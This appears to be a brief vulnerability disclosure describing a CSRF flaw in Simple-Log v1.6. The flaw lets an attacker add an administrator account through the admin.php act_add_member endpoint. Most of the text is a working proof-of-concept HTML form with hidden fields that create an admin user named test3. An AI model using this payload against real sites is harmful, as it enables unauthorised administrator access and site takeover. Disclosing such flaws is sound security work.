One CSRF vulnerability in Simple-Log v1.6

[github123abc123]

An issue was discovered in Simple-Log v1.6. There is a CSRF vulnerability that can add Administrator Account in the ' /admin/admin.php?act=act_add_member'.

Add Administrator Account
Poc：
Create account：test3
password:a123456

<form method="POST" id="transfer" action="http://127.0.0.1/Simple-Log/admin/admin.php?act=act_add_member">    
    <input type="hidden" name="user_name" value="test3" />
    <input type="hidden" name="password" value="a123456" />
    <input type="hidden" name="group" value="1" />
    <input type="hidden" name="email" value="123@qq.com" />
    <input type="hidden" name="button" value="提交" />
</form>